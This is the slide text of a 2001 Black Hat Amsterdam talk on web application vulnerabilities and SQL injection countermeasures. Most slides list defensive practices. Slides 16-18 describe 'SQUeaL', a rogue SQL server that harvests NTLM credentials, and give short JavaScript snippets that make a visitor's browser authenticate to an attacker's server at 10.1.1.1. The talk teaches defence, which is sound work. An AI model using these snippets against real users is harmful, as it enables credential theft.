1. Welcome to Blackhat! Blackhat Security Briefings Amsterdam 2001 Timothy M. Mullen AnchorIS.Com, Inc. Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

2. Web Vulnerability and SQL Injection Countermeasures Securing your servers from the most insidious of attacks: The demands of the Global Marketplace have made web development more complex than ever. With customer demands and competitive influences, the functions our applications must be capable of performing constantly push our development into new areas. Even with enterprise firewall solutions, hardened servers, and up-to-date web server software in place and properly configured, poor design methodology can leave our systems open for attack. Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

3. Session Overview Part I: ∙ Vulnerabilities Client-side HTML, URL Manipulation, SQL Injection ∙ Countermeasures Input Validation, Data Sanitation, Variable Typing, Procedure Structure, Permissions and ACL’s. Part II: ∙ Live Demos highlighting real-word sites with different issues, participant involvement and brainstorming ∙ SQueaL Demo(SQueaL is a NTLM logging rouge SQL server app) Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

4. Part I Vulnerabilites ∙ Client-side HTML ∙ URL Manipulation ∙ SQL Injection Countermeasures ∙ Implementation/Setup∙ Input Validation ∙ Data Sanitation∙ Variable Typing ∙ Procedure Structure∙ Permissions and ACL’s Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

5. Vulnerabilities – Lab Demos Client-side HTML Issues ∙ Web Forms ∙ Input/Select controls ∙ Hidden Fields URL Manipulation ∙ Editing the URL ∙ Session variables ∙ Cookies SQL Injection ∙ The possibilities are endless! Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

6. Countermeasures- Lab Demos Implementation and Setup ∙ ADODB Connection Strings and DSN’s ∙ ODBC Error reporting ∙ Custom error pages Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

7. Countermeasures- Lab Demos Input Validation ∙ Querystring count checking ∙ Data Type Validation ∙ Value/Length Checking ∙ Extents/Boundary Checking ∙ Host submission limits per unit of time Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

8. Countermeasures- Lab Demos Data Sanitation ∙ REPLACE function ∙ RegExp function ∙ Custom functions / explicit declarations Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

9. Countermeasures- Lab Demos Variable Typing ∙ Command object ∙ Parameter declaration ∙ Command type declaration ∙ Execute as methods Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

10. Countermeasures- Lab Demos SQL Stored Procedure Structure ∙ Use stored procedures whenever possible ∙ Type cast variables ∙ Create and use Views as table sources ∙ Avoid “Select *” statements for performance as well as security ∙ sp_executeSQL procedure for ad hoc queries Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

11. Countermeasures- Lab Demos Permissions and ACL’s. ∙ Open views, but lock down tables ∙ Use groups ∙ lock down xp_cmdshell, xp_sendmail or remove ∙ SQL Service context ∙ Integrated/Mixed security Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

12. Web Vulnerability and SQL Injection Countermeasures Part I Concluded 15 Minute Break Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

13. Web Vulnerability and SQL Injection Countermeasures Welcome Back! Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

14. Part II Live Web Demos and Feedback ∙ Expose potentially insecure implementations of web applications ∙ Discuss potential vulnerabilities and exploits ∙ Mitigation and Prevention SQUeaL Demo: Grabbing NTLM responses from unsuspecting users Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

15. Web Vulnerabilities- Live Demos Real-world web application issues and feedback Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

16. Web Vulnerabilities- Live Demos SQUealL: NTLM logging rouge SQL Server ∙ Linux server application based on DilDog’s “TalkNTLM” code ∙ Waits for TCP/IP connection on 1433, and attempts to authenticate via NTLM ∙ Logs domain, username, and NTLM response Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

17. Web Vulnerabilities- Live Demos SQUeaL: Getting them to connect ∙ ADODB Connection (Lame) conn=new ActiveXObject("ADODB.Connection"); conn.ConnectionString='Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=pubs;Data Source=10.1.1.1;Network Library=dbnetlib'; conn.Open(); Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

18. Web Vulnerably and SQL Injection Countermeasures SQUeaL: Getting them to connect ∙ DBNETLIB (Not so lame) {ns = new ActiveXObject("SQLNS.SQLNamespace"); ns.Initialize ("Grabber", 2, "Server=10.1.1.1;Trusted_Connection=Yes; Network Library=dbnetlib.dll");} Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

19. Web Vulnerability and SQL Injection Countermeasures Closing Remarks Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com

20. THANK YOU! Additional Resources: http://www.hammerofgod.com emailto:thor@hammerofgod.com http://www.securityfocus.com http://www.securityfocus.com http://www.securityfocus.com http://www.sqlsecurity.com http://www.sqlsecurity.com http://www.sqlsecurity.com http://heap.nologin.net/aspsec.html http://heap.nologin.net/aspsec.html http://heap.nologin.net/aspsec.html http://security.devx.com/bestdefense/default.asp http://security.devx.com/bestdefense/default.asp http://security.devx.com/bestdefense/default.asp http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/database/dat abase.asp http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/database/dat abase.asp http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/database/dat abase.asp http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/database/dat abase.asp Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com; thor@hammerofgod.com